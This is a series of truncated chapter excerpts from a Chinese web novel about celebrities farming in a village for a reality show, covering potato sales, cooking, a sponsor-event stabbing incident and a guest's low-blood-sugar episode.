天空笼罩阴云,凉爽秋风一阵接一阵,没了早上毒辣的太阳,动作明显快了很多。 这一次是肖乐保在前头割草,虽然割得像狗啃过一样,好在是能够看得清楚土豆包的位置。 期间会有一些小甲虫攀上手臂,他也是一个猛人,面不改色地弹飞出去。 此时,程三好他们二人已经来到了一个村民家。 用砖砌成的两米高的围墙里先传来了一声狗吠,随着他们越发靠近大门,狗声越来越密集。 大门是用几根粗壮的铁栏焊接在一起而成的,可以将院子里的光景一览无余。 然而外人绝对闯不进去,因为门上用铁链子串着把大铜锁,门内有一只拴着绳子的黑狗,虽然看着瘦,但犬牙锋利,让人望而生畏。 程三好他们就这样站在门外,静静地站了几分钟,听到动静的屋子主人就打开屋门出来了。 她眼神警惕地扫视了一圈,走到铁门边,也不急着打开,只是问:“你们要干啥子?” 程三好眼角弯弯,微笑着说:“大嫂,我们就在村头录制综艺,想要问问平时都是哪个师傅来收土豆的哈?” 大嫂身高不矮,有点胖,说话 13. 第一笔收入 《身体不说谎》全本免费阅读 程三好接过来,自己抱着包菜,辣椒赵柯提了过去。 两人对视一眼,整齐地后腿几步,弯腰道谢:“谢谢婶儿。” 凤婶儿平日里也很爱送人蔬菜或者吃食,村里大家都习惯了,毕竟互相送东西、扶持,是农民之间常见的事儿。 现下被他们的阵势吓到,急忙摇着手,语气紧张:“不用这样,哎呦……” 她心里惶恐是真的,被人感激的愉悦也是真的,想来是个很好相与的人。 程三好直起身体,不让人为难,寒暄问道:“这是你的小孩吗?” 凤婶儿停下摆动的手,伸到女儿的肩膀上,轻轻带着人到跟前,给足了小孩尊严。 “她叫凤溪,是我的第三个孩子,哥哥和姐姐都在读大学呢。” 程三好对她笑了笑:“是很好听的名字。” 凤溪几乎不用凤婶儿怎么教,就灿烂地笑,露出小小的牙齿,脸颊肉嘟嘟,很是可爱,声音更是稚气。 “谢谢姐姐!”宛若咬了口脆梨,裹挟着甜,叫人心情无端舒朗。 程三好稍微低头,对她笑着说:“姐姐也很谢谢你。” 置身事外的赵柯收起落在不远处房屋的视线,一副见了鬼的样子,讶异地看向旁边的人。 这个时候他却想,要是肖乐保看到他大哥刚才的神情和语气,必定要嚷嚷道:假象,都是假象! 凤婶儿想到什么,急忙说:“对了,你们待会儿顺着这条路往前走,走过两三户人家,门前有棵青苹果树的人家就是韩伯家。他的儿女都在城里工作,自己又不适应大城市,所以他就养了几头猪,地的话,他的孩子不要他种,可能会买洋芋或者萝卜之类的,你们问问哈。” 程三好挺直身体,说:“好的,那……婶儿,我们就先走了,日后再来拜访。” “好嘞,”凤婶儿应了,对小女儿温声说,“跟姐姐哥哥拜拜。” 凤溪靠在妈妈跟前,摇着胖胖的小手,声音亮,可可爱爱地说:“姐姐,哥哥,拜拜……” 开始还有点人生,可一说话,都会未语先笑,笑起来不会捂嘴,就露出全部的小牙齿,无忧无虑的天真样,只会让人跟着心情愉快。 赵柯被人这样一喊,怔愣着,直到有人轻微地撞了一下他的肩膀。 他扭头看过去,程三好抬下巴示意小女孩还在等他的回应。 赵柯就转头看着凤溪,见她期待着什么,话到嘴边,挠了一下头,才说:“拜……拜……” 他差点咬到舌头,懊恼怎么说句话都说不利索。 凤婶儿和凤溪一起笑起来,完全是友好的笑意。 “小伙儿,回去多吃饭,要是不喜欢,来婶儿家,我做给你吃,保证把你吃得胖胖的。” “吃得胖胖哒。”凤溪笑着跟着应声。 赵柯从耳朵一路红到后脖颈,他摸了一下鼻子,点头“嗯”了一声。 两人都离开凤婶儿家有一定距离了,程三好瞥见这人的耳朵,挑了一下眉也不说话。 村里的路总是交叉相错,大多数的家庭房前屋后,都会种植一些果树。 路边有棵巨型核桃树,这会儿陆续成熟,地上堆积着它的落叶和裂了外壳的核桃。 倘若在萍水镇,程三好就弯腰拾掇了,然而对于这个村子还不是很熟悉,冒然捡的风险很大。 小时候,甭管是谁家核桃树,只要路过都可以捡起来吃,当然你要说是,直接扛着把竹竿来打,肯定是不行的——那是流氓行为。 没多久,他们就看见了一棵和房梁齐高的苹果树。 树上的苹果几乎都成熟了,最大的有成人拳头那般大,小的只有一个乒乓球大小,全是黄绿色的。 这种苹果吃起来脆,酸甜口的,市场上几乎没得见了,只有农村个别人家才种有。 从马路边下去,沿着一条小道,就到了韩老伯家。 人居住的房子是瓦房,旁边不远处较矮的建筑平房就是猪圈。 院子里有掉落的苹果以及树叶,韩老伯背对着他们坐在一张小凳上,手中拿着个背箩在编织。 瓦房很妙,正面嵌入了一部分,空出的平地上,夏日可乘凉,雨天可避雨。 程三好向前几步,喊了声:“韩爷爷。” 对方像是耳背,压根没反应,于是二人再次靠近。 这一次直接站到了他的跟前。 察觉到余光里出现的人,韩老伯停下手中的动作,缓缓抬头看去。 他戴着一个迷彩帽子,身上亦然穿着迷彩服,脚上一双解*放鞋。 衣服整体破旧,且还有各种洗不干净的油渍。 帽檐歪歪的,脸很长,露出来的手臂和脚脖子都很枯瘦。 眉毛完全花白,留着一小撮山羊胡。 “干啥子?”常年抽烟,牙齿熏黄,嗓子似乎被痰卡死,沙哑至极。 他的一只眼睛完全缝合,想来是瞎的。 “爷爷,你缺喂猪的洋芋吗?”她像是没看到他的缺陷,面色如常地问。 韩老伯看了一眼后就低头继续编背箩,恍若不在乎,只是问:“你们来卖洋芋?” “对得。” “有多少?” 程三好摸不准,只能斟酌着开口:“暂时只有一百四十斤,后续还会有。” 韩老伯一听,可行。 村里谁家都喂有猪牛,大个的洋芋都卖给王师傅了,剩下的自然要留给自家用。 他每每去买,往往不是很顺利,还要到镇上其他村子里买玉米和洋芋。 “八毛钱一斤,卖不?”他没有仗着这些人年龄小不懂,就胡乱要价,都是按照市场上来的。 赵柯的确不太懂,只觉得便宜得过分,正要讨价还价,程三好就说:“成交!” 他当即闭嘴,选择默默站在一旁。 “爷爷,你家有推车吗?”程三好双手撑在膝头询问。 韩老伯被这一口一个爷爷叫着,想了想,放下手中的竹篾,站起身往侧旁的杂物间走去,驼着背,走得很慢。 程三好跟上去前,轻拍了下赵柯的肩膀,低声说了句:“下次有话就说。” 说完人已经抬步向屋子里而去。 赵柯悬着的心稍缓,他刚才担心的事,就是怕自己什么都不懂而搅黄了生意。 他将程三好做的努力都看在眼里,很明显女生平日里懒得眼皮都不想睁,但是为了五人或者综艺,她有在认真做。 不知从何时起,他变得极其在乎别人的目光,但是又不想开口说话,来参加节目没有多久,他竟然有想表达的想法了,这个发现让他惶恐。 ——他该是腐烂下坠的,“变好”实在是太让他恐惧。 女生的力道不大,赵柯却觉得肩膀那一处热起来。 “都是灰。”韩老伯找到推车,还破有点窘迫。 程三好却说:“能借我们,就已经十分感激了。” 推车下装着四个尼龙轮子,上面搭着块厚重的铁板,手柄也是纯钢铁锻造的,顶端就像摩托车的头,人可以握住两边,一推就可以向前。 这种推车不可以拉货,只可以装载最多四袋容量为七十斤的粮食。 对于程三好他们现在来说,完全可以了。 “那您稍等,我们回去就拉来给您。” “哎 14. 干拌面 《身体不说谎》全本免费阅读 程三好也不戳穿他,笑了笑,说:“也是。” “对了,”她突然想到什么,问韩老伯,“村子里有小卖部吗?爷爷。” 韩老伯摇着帽子,权当给自己扇风,说:“有的,你们朝来的方向往后走,离村口很近的路边那里,就开着村里唯一的一家小卖部。” “好的,谢谢您。” 程三好他们二人告辞后,按照他的提示,走了没有多远,就看到了一个小屋房顶上的灯牌,上面写到:浦秋货记。 看清楚全貌时,她差点以为自己出现记忆错乱了,因为这个小卖部和萍水镇的村子里的那个一模一样。 位置处在公路边,店主居住的房屋是两米五高的十几平红砖小平房,房屋前有一棵巨大的柳树,依偎着柳树的还有棵较矮的樱桃树。 靠墙的一边做了个栅栏小菜园,里面的蔬菜绿油油的叫人养眼,另一边整齐堆放着劈小的干柴。 小屋里的家具感觉都是均匀小码的,旧式笨重的小电视机,烧火的炉子棱角圆圆的,沙发虽然是长款,但因为有些迷你,所以看上去也是圆墩墩的。 程三好他们站在打开的蓝色漆小门前礼貌地敲敲,问:“有人吗?买东西。” 话音刚落,沙发上突然支楞起一人。 二人吓了一跳,只因房间里太暗,又因老板盖着床毛毯,所以才以为没人呢。 老板趿着人字拖出来,站在光亮里,睡眼惺忪地揉了揉寸头。 下巴全是“星星点灯”样的黑胡茬,穿着件白色老头衫儿,脖子上带着条金链子。 他的神情全是被打扰后的不爽,仿佛下一秒就要脱口骂人,但没有,他瞄了一眼程三好他们,问:“买东西?” “嗯,对。”赵柯不知何时已经略微站前了一些,还是第一次主动答话。 浦老板看上去三十左右岁,像是压根没把这个男生的戒备当回事儿,只是说:“跟我来。” 小屋前有条铺着青石板的七十厘米宽的小道,一直延伸到另一个独立的平房前就戛然而止。 老板蹲下身体哐当地将铁门卷上去,里面便就是各种各样的商品了。 “尽管看,要买什么都可以。”他说了这句,就站在冰柜边倚靠着。 程三好扫了眼,发现除了零食外,还有很多日常品,不过东西没有像超市里那样按类别分区,所以一时找不到想要的。 于是她就直接开口,像是早有准备似的:“一袋糯米醋,生抽、洗洁精、食用菜籽油,各来一瓶小容量的,再来一把干面条,一袋洗衣粉。” 她念完,抬眼看向浦老板,肯定道:“就这些。” 老板也没说什么,起身从货架上拿下一个大袋子,按照她说的一一装好。 赵柯听到这一长串的东西,又开始焦虑了,心想他们有那么多钱吗? 偏偏程三好在这时又说:“对了,再来盒鸡蛋。” 赵柯眼神开始乱飘,手捏紧裤缝。 浦老板装好东西,对着他们的面,开始算钱。 “糯米醋一元,生抽五元,洗洁精十元,油十五元,面条十元,洗衣粉五元,鸡蛋二十二元,合计六十八元。” 赵柯每听到一个数字,心里便咯噔一下,直到听到最后的数字,才不动声色地松了口气。 不得不说物价还算便宜,虽然容量也不多,但是今晚上算是有油有肉了。 原先买完腊肉以后,还剩下了八十块钱,这会儿又支出了六十八块,就只剩下十二块了。 程三好也没急着全部将它花了,和赵柯提着这些东西一步一脚地往家里走。 一顿忙活下来,现在已经五点半了。 二人一通商量,决定程三好留下来准备晚饭,而赵柯则去田地里和他们再干一会儿的活。 他们还没有赚到买大米的钱,所以程三好决定晚上就吃干拌面吧。 趁还有点时间,她提着一个箩筐前往萝卜地,摘取了很多萝卜菜。 回来将其全部洗干净,然后放在烧开的热水里焯过一遍,打一个翻滚就可以迅速捞出来放到一个坛子里。 用萝卜菜来制作酸菜也是很好吃的,只是说他们现在没有发酵过的酸水,所以酸菜放置在坛子里后要隔几天才能拿出来吃。 完成这一切后,程三好在围裙上擦干手上的水渍,显得十分接地气。 略微仰头想了想,心里对干拌面的做法已经有了一个大致的脉络。 将包菜一片一片地摘下来,放到水池里洗干净后,用菜刀切成一寸左右的细丝,装到碗里备用。 青椒洗净切丁,腊肉分离肥瘦,肥肉暂且不用,将瘦肉也切成丁状。 将锅放在电磁炉上,开火以后放入瘦肉,再加入一小碗清水。 因为腊肉完全是靠大量的盐来防止它腐烂的,所以第一遍要充分过水,煮掉多余的盐。 等到瘦肉发出滋啦的小声,剩余的水不要,直接倒出来。 捞出瘦肉后,让锅烧干水分,才倒入菜籽油,这样不会“炸脸”。 油烧沸,冒出缕缕青烟后,放入部分青椒,再把肉放进去,充分翻搅,淋上酱汁。 这一盘拌料算是大功告成,接下来就是炒包菜,过程也是烧油——放青椒——放包菜——盐巴和适量味精——生抽提鲜。 二十二元的一盒鸡蛋,总共有三十个,程三好还给每个人煎了两个鸡蛋。 大锅里的水刚沸,她就下入面条,这个过程要记得用筷子辅助搅动,要不然直接粘锅上了。 六点过四十多分,四人扛着农具回来了。 肖乐保远远闻着香味,肚子应景地叫起来,一个劲儿地吞咽口水,一副已经饿傻了的样子。 “救命!大哥是做了什么好吃的啊?”他边说边往厨房里钻。 程三好耐心地搅动着面条,还能抽空回答他:“胡乱自创的干拌面,你有福气了。” “你们也没去镇上啊,哪来的那么多东西?”肖乐保来到大哥的身侧,对厨房里突然出现的这些食物感到十分震惊。 赵柯后脚进来,听到这一句话,就说:“那两袋小土豆卖了一百来块钱,我们就买了一些腊肉,还去小卖部添置了一些调料品。” “腊肉!”肖乐保的眼睛倏地瞪大了,完全控制不了音调,“我们真的是在录制种田综艺吗?还有这样的待遇!” 他的神情实在太过夸张,程三好瞥了他一眼,说:“你没吃过吗?” 谁料肖乐保突然又大着嗓子喊了一声:“在这儿,我看到了!” 原来他眼尖地撇到了程三好左手边已经炒好的腊肉。 他一个闪身就来到了这盘肉跟前,两眼发直,却不会先动手去吃。 “吃过啊,”肖乐保这才将注意力回到大哥身上,见她挺直胸脯,一只手撑在腰间,穿戴着一个白底红花的围裙。 围裙…… 围裙!! 短短几分钟内,肖乐保的脑内接连爆炸了好几个烟花,实在是负荷不过来了。 不敢相信眼前这个看上去颇有点贤惠范儿的人,会是几年前轻松扳倒一个大汉的酷飒女生。 “让开。” 直到一句毫无起伏的话窜进他的耳朵,肖乐保才堪堪回神,愣愣地往后退了几步。 程三好也不知这人 15. 招商会事故 《身体不说谎》全本免费阅读 秋水村也属于淮市内,最终五人坐上大巴车前往了稻城某一个餐厅。 大家几乎等同于素人,所以压根不存在粉丝蹲点等在此地的情况。 餐厅一楼被清空,程三好他们根据导演的指示来到一个矮台上,好像是歌手驻唱的高台,与台下娱乐记者以及各大品牌商拉开点距离。 主持人小姐姐握着个话筒简单开场,寥寥几句,让大家迅速进入状态。 在她说话的间隙,程三好混不在乎地往前面看,这一看,发现江砚也坐在下面,两人目光交汇,具是不到片刻移开视线。 程三好低头瞧着地面,突然意味不明地轻哂笑了一下。 “请问,你为什么来参加这个综艺呢?”主持人站在肖乐保跟前,说完问题,将话筒一递。 男青年正要开口说是经纪人逼迫来的,蓦地脊背发凉,余光感受到张导愤怒的眼刀。 他此地无银三百两地挺胸抬头,比入伍宣言还要铿锵:“当然是来体验种田的感觉,深入了解农民的生活,体会他们的艰辛,让我打心底更加珍惜粮食!” 主持人的话筒稍微离远一点,被他这腔调吓得愣神,好在她的职业素养很高,转瞬就笑起来,接着话茬:“那你觉得这个节目有什么看点呢?” 肖乐保依然保持着姿势没变:“我们中午吃的食物,全是来自手下劳动的土豆、玉米等,吃起来有种满足感,光脚踩在泥土上,会很新奇,夜间的蛐蛐儿我很喜欢……” 他源源不断地说,但其实刚参加节目一天罢了,最后还总结:“当今社会太快了,只有偏远的农民还保留着这种日出而作,日落而息的生活,录制成综艺,可以让观众陪我们一起看黄昏,夜间闲聊,檐下听雨……可以让你内心感到治愈或者欢乐,我想喜欢慢综艺的观众也会喜欢。” 他说完,台下响起掌声,肖乐保不好意思一瞬,干脆加入,也给自己鼓起了掌,说:“我也觉得自己值得一个掌声哈。” 大家放声笑了起来,张导脸上欣慰得不行。 主持人也笑,完了肃正面容,来到韩小希面前,提问:“你觉得这节目怎么样?为什么想到来参加?” 韩小希手臂贴在身侧,看得出来有些紧张。 “得知有这一档综艺的时候,我立马就来参加了,因为我小时候在农村生活过,算是有一种乡村情结吧。” “至于节目,最好的一点也是我最看重的一点,那就是加大了宣传不浪费粮食的号召力,国家提倡空盘行动多年,这档综艺的推出,更能让没种过田的观众体会到食物的来之不易,在打饭时,会不会有所考量呢?我是如此期望着的。” 她说完,张导直接流出了眼泪,他的眼光果然不错,挑选到的全是乖娃子。 主持人没放过这个机会,转身提问起了导演。 “张导,你有什么想说的吗?” 张导擦干眼泪,趁此再添一把火:“我做节目的初衷能被他们理解,我真的很高兴。” 话音刚落,后面的人群突然哄闹起来,张导以为是要夸奖自己,谁料旁边坐着的江总动作有些慌乱地起身。 程三好起初在扭头和赵柯说着什么,听着惊呼,侧头正要看去时,一只拔了笔帽的钢笔已经冲到她的眼前,面对这种突发情况,人的躯体下意识木僵,她只能竭力强行歪过脸。 鬓角一痛,随后血顺着流淌下来,停在右眼角凝成血珠,恍若一颗艳丽的朱砂痣。 她嘴唇微张,眼睫动了动,细密的眉毛蹙着,一时没说话。 江砚见到这一幕,喉头滚动,正要说什么,江邱就招呼着保安抓肇事者。 大厅里一时喧哗起来,韩小希反应过来,抓着程三好的手臂,神色紧张:“都流血了,要不先去医院?” 肖乐保没顾及镜头,凑近看到大哥额角被划了个长口子,直接暴躁出声:“靠——真他妈卑鄙,大哥,你还好吗?” 程三好抬头正要回答,冷冽的男声突然穿插进来。 “去休息室,工作人员已经拿来了医药箱。” 她瞥了一眼江砚背后人手中的箱子,才扭转眸光看向他,说:“行。” 程三好没让他们陪着,孤身一人跟在江砚身后,前往餐厅里的一个安静的包厢。 就是男人不说,她也不会去医院的,所以才同意了他这个提议。 推门进去,正面就是巨大落地窗带来的明亮,程三好坐在唯一的一张单人沙发上,医药箱不知何时已经落在了江砚手中,屋里只有二人。 她开口直接说:“给我吧。” 男人在她面前单膝蹲着,那双桃花眼轻抬,语气平淡:“你能看到伤口?” 程三好习惯性地想挑眉,一动扯着伤口,血就往外冒,她心里憋屈,当下不太想思考,于是耷拉着肩膀倾身,头微微仰着,闭上眼睛,说:“那就辛苦你了。” 是个完全信赖没有丝毫戒备的姿势,让她整个小脸暴露在江砚的视线里。 扎着马尾,衬得本就纤细的脖颈越加修长,上身穿着一件白色的宽大背心,露出来的手臂白皙紧实,下身高腰直筒牛仔裤,修得小腿细却不柴。 整个人背着偌大的落地窗坐在沙发上,清冷单薄。 “要不让肖乐保进来帮我吧。”程三好睁开一只眼睛看着面前的这人,见他动作迟缓就说。 男人的衬衫袖子纽扣已经解了,挽到结实的小臂,青筋突起的手握住箱子里的碘伏,整个手掌完全可以覆盖。 “待着就行。”他轻松地拧开盖子,拿起一只棉签转过身。 面前这人重新闭上了眼睛,还担心他够不到,特意双手撑在膝头略微靠前,头依然仰着,好让他看清楚伤口。 本就白润的细颈经这一动作的牵拉,呈现一种惊心动魄的、独属于女生的魅力。 江砚视线难得一顿,片刻神色如常地用蘸着碘伏的棉签靠近她的额角。 伤口在眉毛尾端上面一点,一直划拉到鬓角,好在不深,这会儿也没在流血了。 额头的碎发有几根遮挡住了伤口,程三好脑袋感受到力道,想睁眼时,头顶传来了男人的嗓音:“别动。” 她就没动了。 江砚左手撩着她的碎发轻轻按住,用棉签点在伤口,只一瞬,立马换个位置,用碘伏充分消毒。 他手上的动作没停,低眸看了一眼对方的脸,才继续上药。 缠小块的纱布时,虽然不太方便贴胶布,他还是没松开左手。 脖子处突然传来一团热意,底下的人睁开眼睛,平视着他的胸膛,说:“我来按住我的头发吧。” 此时他们的距离太近了,近到一呼一吸间,只有对方的味道,程三好只要稍微抬头,就会撞到男人的下巴。 16. 计划 《身体不说谎》全本免费阅读 招商会暂停,五人回到大巴车上。 程三好照常坐在了第一次选择的位置,双手抱着,扭头看向窗外,任谁想搭话都无从下手。 肖乐保也坐在了她的旁边,瞄了她一眼,见她神色如常,才暗自松了一口气。 回到小屋后,节目组还算是有良心。 不仅让五位嘉宾吃了一盒荤素搭配的盒饭,还给他们每一个人发了一个遮阳帽以及一套雨衣。 张导不可能这么“善良”,肖乐保惊喜之余就问他:“导演,这些东西不会要我们钱吧。” “对的,”张导低头在戴麦,认真地说,“等你们有钱了要还我们节目组。” “啊?”肖乐保哐当将已经带好的遮阳帽给去取下来丢飞出去,满脸惶恐,“那还是算了吧,我可没有破坏它昂。” 摔进草丛的帽子:你有种,你清高,你了不起,你敢不敢睁开你的眼睛看看…… 韩小希戴帽子的手也迟疑了,她还以为这是节目组送的呢。 “要钱,要钱的话,那我们还是不要了吧,还你们。” 嘴上这样说着,脚上却如有千斤重,怎么也踏不出去。 张导见状,还给他们出计策:“这些东西总共就三百块钱,你们日后赚钱了,再还我们节目组也不迟啊。” 谁料话音刚落,刚才没参与话题,像猫见着小鱼干喜欢得紧的程三好,冷酷地放下帽子,将粘黏的眼神硬生生拉回来,整个动作行云流水。 张导:“……” 更令他震惊的是,五个人整齐地转过身,就像是没看到这些惹眼的装备一样,开始心无旁骛地准备干活。 ——没钱,别诱。 他们没说,但是背影就是这样告诉张导的。 意识到玩大了,张导急忙说:“欸,等等,别走!” 然而五个嘉宾就像是没听到他的话一样,还是该干嘛干嘛,甚至毫无负担地互相交谈起来。 肖乐保嫌弃脸:“我才不羡慕。” 韩小希义愤填膺:“这个家本来就入不敷出,还想要我们背债,那不是雪上加霜吗?” 许琪虽然也很想要,但是昨晚听到程三好说,现在他们总共只有十二块钱后,再听导演适才的话,她突然觉得三百块实在太多了。 十二块…… 光是一想,《一剪梅》凄凉的歌声就往脑海里窜。 “雪~花~飘啊飘~” 太冷了,于是她小鸡琢米似的点头,应和他们:“就是就是。” 眼见他们已经扛着农具往田地的方向走,张导扯过一个大喇叭说:“免费!真是免费,不要钱!” 五个脑袋齐刷刷地扭头看着他,身体没动,话也不说。 张导被吓得一愣,随机咳嗽一声,正色道:“其实这些东西是今天招商会上的品牌商赞助给你们的。” 肖乐保狐疑:“真的?” 张导点头:“当然。” 今天有太阳却不炽热,空中甚至偶尔传来一声闷雷。 程三好他们见张导神色不作假,于是就上前各自领了一个宽大的遮阳帽以及全套雨衣设备。 四亩的土豆地已经挖了三分之一,几人迅速投身到田地里,完全没有一点录制综艺的表演痕迹,反倒都在担忧,生怕下雨以后拖慢进度。 几个小时过去,头顶的乌云散开,大家伙儿停下动作,就待在田野间简单地休息几分钟。 程三好想到什么,思量着说:“最近几天就是点菜的日子了。” 韩小希对于种植蔬菜什么的都不懂,于是扭头问她:“什么是点菜?” “就是种蔬菜的意思,”程三好随意地抓起一团泥巴在手中揉啊揉,方才道,“想要在冬天或者开春的时候有菜吃,就得在这几天赶紧种下。” 赵柯坐在离他们不远的草丛中,闻言皱了皱眉:“你有什么计划?” 知晓他是在问自己,程三好抬起眼,见他们都将目光汇聚在自己的身上,只好道:“是的,昨天晚上我就在想,我们是要按部就班地收割作物再说,还是按照真实的农民生活习惯来?” 肖乐保惊讶出声:“只做这一些还不够?” “不够,”程三好的腔调依旧散漫,“仅仅靠这些土豆或者玉米卖出去,最终得到的钱也许能够解决温饱。但是冬天买碳可能就不够,更何况一旦我们中有人受伤或者生病就需要花大的钱了。” 韩小希边听边点头,补充说:“这个地区每年下雪的时候都会冰冻三尺,想要去镇上购买东西还是如何都很难,车子必然开不动,人走在上面也容易摔跤受伤。所以村民们整个冬天几乎都待在家里,靠房前屋后栽的菜或者储存的粮食生存。” 许琪只见过毛毛细雪,压根不敢想象路面被冰封的场景,她冬天的时候甚至还去各地旅行呢。 想到马上就要体验那样的生活,她顿时有些焦虑:“那我们现在还需要干嘛?” 垂在膝头的手指点了点,程三好捋着思路说:“当务之急就是先要搭出一个菜园子出来,明天得去镇上赶集买回来菜籽或者菜苗,赶紧种下去;趁着这段时间还会有大的太阳,得晒一些土豆片,至于搭鸡舍、牛圈的事……” 肖乐保起初还很惊奇大哥一口气说这么多的话,然而越听脑袋越往下垂,最后直接往后躺在了干燥绵软的泥土上。 “现在退出还来得及吗?”语气听上去挺生无可恋的。 大家可能都没想到会是他第一个打退堂鼓,纷纷将目光投射到他身上,连程三好都微微挑眉。 一挑眉就牵动着伤口,一想到伤口,她就想起了男人薄衣下隐隐可见的紧实肌理。 脑子里滚了一圈这个画面,程三好索性承认。 ——嘛,身材的确很不错。 许琪听到他这样说,莫名生出了一种激励感,冲他举了举小拳头,神色坚定:“加油,我们一定可以的!” 可能是经过这一两天的接触,她渐渐没有那么拘谨,真实的性格一点一点地显露出来。 虽然这句话听起来有点土,但是许琪的表情那样认真,所以让她整个人看上去有点萌。 肖乐保突然笑起来,侧过身用手捶地,一副乐不可支的样子。 “哈哈哈,没想到你还有这么一面。” “怎么了?”许琪的拳头停在空中,被他这么一 17. 低血糖 《身体不说谎》全本免费阅读 凤婶儿正在拿着连枷给红豆去壳,声音响在大坝里,蹦蹦蹦地跳跃着。 程三好到的时候只看到她一人,走进庭院喊了声:“婶儿。” 凤婶儿扬着的手停在半空,扭头看了一眼门口,见是她眼角晕开笑意,放下连枷,招手让她过来。 “屋里来坐。” 程三好点了下头,跟着她进了有火炉的房间。 长条沙发围着火炉,铺着干净的垫子,墙上嵌进去的窗子露台上堆着些玩偶。 对面不远处则是一套红绿相间的柜子,中间的台上放着一个电视机。 屋内很暖和,也很透亮,地上铺着印花砖,墙壁刷着白漆,还绘画了图像,有荷塘、金鱼、竹林,真的很是漂亮,人进来就不想走动了。 程三好坐在沙发上,接过凤婶儿递过来的水,见她要去洗水果,急忙说:“婶儿,不用劳烦,我找你是有点事儿。” 凤婶儿侧过头看她,笑:“马上就好,稍等。” 程三好抿嘴,握住手中的玻璃杯没再劝。 没多会儿,凤婶儿端着满满的一盘子切好的红苹果和梨子回来了,放到圆形的火炉铺着的防油布上,道:“不要客气,吃点水果。” 盘子里有牙签,很方便人戳吃。 程三好喝了口水,才说:“其实我是来向你借米的,我们录制节目,一无所有,而且也要明天才赶集,当下晚饭着急,只能来向你借点去用,等我们攒钱买到米就还你双倍,你看可以吗?” 凤婶儿的笑容消失了,她将手在围裙上擦了擦,没有回答程三好,站起身径直走向另一个房间。 摄像机大哥不由心想,看来是失败了,他都有点不忍心去瞧程三好的神情。 带着点怜悯地转过目光,却见程三好不为所动,一点受挫的表现都没有,还饶有兴致地盯着墙上的图画。 房间的挂钟发出咔哒咔哒的声音,房外的马路上传来小孩子的声音,想必是放学归来了。 这种反差衬得程三好孤身坐在那里有点可怜,摄像机大哥无声地叹了口气。 这气还没出完,凤婶儿去而后返,手中提着一袋米。 她将东西往程三好面前一递,脸上还是不悦:“吃饭是大事儿,你们节目组怎么能不给米呢,这里有五斤大米,先拿去吃吧。” 程三好像是早已料到,从沙发上起来接过,说:“谢谢婶儿——” 她没说完就被这重量带着往下坠,看凤婶儿提着轻松,她还以为不重,谁料单手根本提不动,于是她只好双手抱住。 凤婶儿有点担心她这样的小身板是否能带得回去,虚浮着手,说:“要不我给你送去屋里?” “哪能啊?”程三好笑笑,抱紧米袋,抬眼看她,“回头我们买米了就还你十斤,你不要说我是对你客气,我很明白的,农家人借任何东西都可以,但是米的话一般不借,所以我是很感激你才这样说的哈。” 的确是这样,当凤婶儿得知她是来借米时,心下一沉,因为米贵,每年花出去的钱不少。 说真的,在生活有些时候还要省着点钱的时候,这米是真的舍不得,但凤婶儿心地善良得过分,是那种哪怕自己穷,也见不得别人受苦的性格,所以她还是给了,是送的态度,不是借。 听到程三好这一番诚恳的话语,她心里说不熨帖是假的,面上客套道:“不用不用。” 程三好正要说什么,就听到门外传来轻快的脚步声,与此同时,小孩童稚地喊:“妈妈,我回来啦。” 话音没落,背着粉色双肩包的凤溪就跑进了房间。 没看清屋里站着的大人,她发懵了一瞬,收声站到凤婶儿的背后,抬眼去瞧,看清楚是程三好时,肉嘟嘟的小手捂住嘴巴,惊喜道:“是你,漂亮姐姐!” 程三好笑着点头,虽然手活动不开,还是小弧度地冲她摇了摇手。 然后对着凤婶儿说:“婶儿,我先走了,得去准备晚饭呢。” “哎,去吧,路上小心。” “嗯。” 程三好转身,行走在乡间小道,背影铺陈在脚下。 到达小屋的时候,那几人竟然还没来,她心下稍安,把熬汤的火关掉,抓紧时间淘米煮饭。 所有菜都拿一个盘子盖着,这样可以保温,她才出门缓步走到那块田地侧旁的草坡上。 刚站上那里,迎面吹来一阵风,衣袂翻飞猎猎响,耳畔碎发飞舞,夕阳包裹住她,镀上了金色的光芒。 程三好静静地感受着,只觉通体舒畅得不像话,深呼吸了一下,左手压住要飞走的遮阳帽,右手高高地举起来挥动。 “吃饭了——” 与她所处的位置不同,田地里的四人已经被高山遮去了阳光,阴凉飒爽,恨不得趁此好时段将土豆都给挖了。 听到喊声,肖乐保率先抬起头,看到草坡上的人,像是对应暗号似的举起手中的镰刀也挥了挥。 “大哥!” 程三好嘴角勾着,仔细地目测了一下进度,发现剩下的应该明天一个早上就可以搞定。 韩小希穿上鞋子,说:“走吧,三好都喊了就去吃饭。” 赵柯将土豆的袋子都扎紧,闻言也往路上走。 许琪原先蹲着捡土豆,站起来时突然眼前发晕,踉跄着脚步就要摔倒,到她身侧的肖乐保眼疾手快地扶住她。 “怎么了?没事吧?” 听到动静,前面的二人转过头,韩小希见许琪脸色苍白,额头冒汗,急忙往回走,语气担忧:“怕是低血糖了。” 许琪眼前一阵阵发黑,胃里痉挛想吐,他们的对话也听不清楚,只觉得双脚腾空,随机被一个宽大的肩膀背起来。 肖乐保手上都是泥巴,不想将泥蹭到她的身上,就用手背拖着她。 “不说了,先回小屋吧。”他完全没了轻佻,少见地面色凝重。 韩小希赶紧点头:“对对。” 然而她目光一转,发现肖乐保的鞋子还在地里,脚上没穿就背着人上了马路,也不管石头子硌人。 她心下微微诧异,旋即也没多想,直接帮他把鞋子提在手中跟了上去。 程三好刚将菜摆在房前的桌子上,抬头发现他们的状况。 她还没问,韩小希就神色焦急地说:“三好,许琪可能低血糖了。” 程三好眉微蹙,当机立断放下手中的碗筷,让肖乐保背着人到女寝。 拿出仅剩的十二块钱正要往小卖部跑,准备去买些糖果或者巧克力。 “我去吧,”赵柯叫住她,解释,“我跑得很快。” 程三好与他对视,也不拒绝,点了点头,把钱交给他。 肖乐保稳稳地把人放到下铺,就着姿势蹲下身,低头去看许琪的脸色,问:“现在怎么样?你能听到我说话吗?” 许琪初一时和肖乐保同个学校,那会儿她挑食,不喜欢吃食堂里的饭菜,但是许母不娇惯她,命令司机不要再朝学校里送饭,就让她和普通的学生那般生活。 然而她也是倔,正处在叛逆的时期,硬生生不吃饭,只去买零食充饥。 结果就是第一次感受到了低血糖的恐怖威力,胃也是从那会儿起就伤了。 出早操时,太阳很大,许琪捂着剧烈疼痛的空腹晕了过去。 肖乐保剃了 18. 腕间痣 《身体不说谎》全本免费阅读 张导手机都没有揣好,就急忙问:“你怎么知道?” 副导演佯装不在意地挺胸抬头,说:“其实我算得上江总的师兄,也是那所学校毕业的。” 张导看出来他的显摆,把不服气压下去,酸溜溜地说:“是吗?” 